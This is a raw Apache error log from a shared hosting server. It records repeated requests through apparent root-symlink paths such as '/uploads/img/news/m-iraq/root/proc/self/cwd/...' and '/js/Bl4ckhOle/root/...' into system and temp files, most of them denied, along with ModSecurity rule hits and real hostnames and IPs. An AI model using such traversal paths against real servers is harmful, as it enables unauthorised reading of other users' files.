[Fri Jul 17 09:47:02.812370 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:02.902739 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:02.913417 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:02.926693 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:03.004430 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/20251115-120803-aRgfy02F8dZOqBSPuMCw2wAAAB4-file-7Em7bX
[Fri Jul 17 09:47:03.004577 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:03.095860 2026] [autoindex:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/lve/snapshots/1029/
[Fri Jul 17 09:47:03.186697 2026] [autoindex:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/lve/snapshots/1082/
[Fri Jul 17 09:47:03.285275 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:03.368282 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:03.458272 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:03.549098 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:03.677408 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:03.775143 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:03.824037 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:03.974358 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:04.005272 2026] [autoindex:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/lve/snapshots/1036/
[Fri Jul 17 09:47:04.097164 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:04.279755 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/tmp/20250923-034648-aNHK0DV9wXnZwKd9MyrG8gAAAAE-file-YUnPjk
[Fri Jul 17 09:47:04.351551 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:43322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:04.426334 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYBUS:00/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:47:04.464334 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:04.642485 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/tmp/20251007-011917-aOQdPQLUEvr0V-53N0QOIgAAABw-file-tOifsP
[Fri Jul 17 09:47:04.688751 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:04.732930 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:04.859609 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:04.948996 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:05.103673 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:05.186826 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:05.319576 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:05.342589 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:05.461433 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:05.464838 2026] [authz_core:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/uploads/img/news/m-iraq/root/opt/alt/php81/etc/php.ini
[Fri Jul 17 09:47:05.649582 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:05.739370 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:05.836702 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:05.925772 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.031433 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.175781 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.209102 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.297268 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/usr/share/poppler/cMap/Adobe-Japan1/Adobe-Japan1-6"] [unique_id "almswmuF39UwWB2KWdbTEgAAAA8"]
[Fri Jul 17 09:47:06.297299 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/usr/share/poppler/cMap/Adobe-Japan1/Adobe-Japan1-6"] [unique_id "almswmuF39UwWB2KWdbTEgAAAA8"]
[Fri Jul 17 09:47:06.387874 2026] [core:error] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/20260104-174823-aVpajzusbklJYsM-ZoGUmwAAABQ-file-gLe6TG
[Fri Jul 17 09:47:06.478233 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.573054 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.620426 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.719146 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.756973 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.778440 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:06.909105 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.036216 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.126514 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.217828 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.369786 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.400472 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.490839 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.582036 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.683767 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.764101 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.856050 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.946893 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:07.985918 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/aom/share/licenses/"] [unique_id "almsw0_0b3nWp8txtSDHFAAAAA0"]
[Fri Jul 17 09:47:07.985948 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/aom/share/licenses/"] [unique_id "almsw0_0b3nWp8txtSDHFAAAAA0"]
[Fri Jul 17 09:47:08.041476 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.137310 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.233573 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.324927 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.418189 2026] [security2:error] [pid 2050582:tid 2050582] [client 57.141.18.78:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory99/node0/memory90/node0/memory23/node0/memory92/power/"] [unique_id "almsxHXJZgUJ1jsEHj0sRQAAABc"]
[Fri Jul 17 09:47:08.418350 2026] [security2:error] [pid 2050582:tid 2050582] [client 57.141.18.78:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory99/node0/memory90/node0/memory23/node0/memory92/power/"] [unique_id "almsxHXJZgUJ1jsEHj0sRQAAABc"]
[Fri Jul 17 09:47:08.419586 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.509230 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.509436 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.509960 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/expat-devel/"] [unique_id "almsxFh1WDijTxd1xw5WVQAAAAc"]
[Fri Jul 17 09:47:08.509988 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/expat-devel/"] [unique_id "almsxFh1WDijTxd1xw5WVQAAAAc"]
[Fri Jul 17 09:47:08.603927 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.699140 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.781048 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0501:00/subsystem/drivers/thermal/uevent
[Fri Jul 17 09:47:08.873528 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:08.964284 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:09.146087 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:09.239824 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:09.421491 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A06:00/subsystem/drivers/pvpanic/uevent
[Fri Jul 17 09:47:09.430352 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:09.512368 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:09.792022 2026] [autoindex:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/lve/snapshots/1017/
[Fri Jul 17 09:47:09.792525 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/lve/snapshots/1017/"] [unique_id "almsxVCBpfuYyhJ140vc3gAAAB4"]
[Fri Jul 17 09:47:09.792553 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/var/lve/snapshots/1017/"] [unique_id "almsxVCBpfuYyhJ140vc3gAAAB4"]
[Fri Jul 17 09:47:09.912116 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:09.976370 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:10.067093 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:10.158894 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:10.249863 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:10.339837 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:10.527637 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:10.623758 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:11.425471 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:11.542363 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:11.574929 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:11.685814 2026] [autoindex:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/lve/snapshots/1077/
[Fri Jul 17 09:47:11.710915 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/tmp/20250714-083640-aHR0QMr0HfD9_YI5qIlF5AAAAAY-file-sfemU1
[Fri Jul 17 09:47:11.755127 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:11.758441 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:12.249820 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:50700] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:12.248114 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:50684] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:12.248796 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:50678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:12.258360 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:50704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:12.602346 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/virtio_pci/uevent
[Fri Jul 17 09:47:12.602711 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:12.802441 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:12.989820 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:13.313447 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:13.399992 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:13.490233 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:13.599067 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:13.764692 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:13.856130 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:13.947308 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:14.162943 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:50810] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:14.264889 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:14.315162 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:14.515664 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:15.449622 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:15.488126 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:50862] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:15.631535 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:15.667484 2026] [cgi:error] [pid 2050572:tid 2050572] [client 104.171.150.10:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://yashiholdings.com/category/news/
[Fri Jul 17 09:47:15.667578 2026] [cgi:error] [pid 2050572:tid 2050572] [client 104.171.150.10:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://yashiholdings.com/category/news/
[Fri Jul 17 09:47:15.693824 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.104:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory119/node0/memory65/node0/memory1/node0/memory119/power/"] [unique_id "almsy4e39YUk0SgV8AVEUQAAABE"]
[Fri Jul 17 09:47:15.693884 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.104:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory119/node0/memory65/node0/memory1/node0/memory119/power/"] [unique_id "almsy4e39YUk0SgV8AVEUQAAABE"]
[Fri Jul 17 09:47:15.814192 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:16.101787 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:16.141289 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:16.475071 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:16.492895 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:16.550828 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup11/device/device:0e/eject
[Fri Jul 17 09:47:16.642511 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:16.824526 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:16.830356 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:50942] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:17.183359 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:17.374061 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:17.464992 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:18.850254 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:50990] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:19.699712 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:51034] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:21.401066 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:51802] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:21.625181 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:51812] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:24.202005 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1048) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/52e287eed542e4b1ee9793f3d50175fe828c6400.sock|fcgi://nccp.health.gov.lk) HOSTNAME(www.nccp.health.gov.lk) URL(/nccp/public/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 09:47:24.202533 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1048) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/52e287eed542e4b1ee9793f3d50175fe828c6400.sock|fcgi://nccp.health.gov.lk) HOSTNAME(www.nccp.health.gov.lk) URL(/nccp/public/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 09:47:24.275380 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1048) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/52e287eed542e4b1ee9793f3d50175fe828c6400.sock|fcgi://nccp.health.gov.lk) HOSTNAME(www.nccp.health.gov.lk) URL(/nccp/public/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 09:47:27.332253 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:28.693486 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "alms2Loj0IkvhSCYadmLzwAAAAQ"]
[Fri Jul 17 09:47:28.693873 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "alms2Loj0IkvhSCYadmLzwAAAAQ"]
[Fri Jul 17 09:47:28.694257 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "alms2Loj0IkvhSCYadmLzwAAAAQ"]
[Fri Jul 17 09:47:30.810730 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:52300] AH02013: coalesce failed to read from data bucket
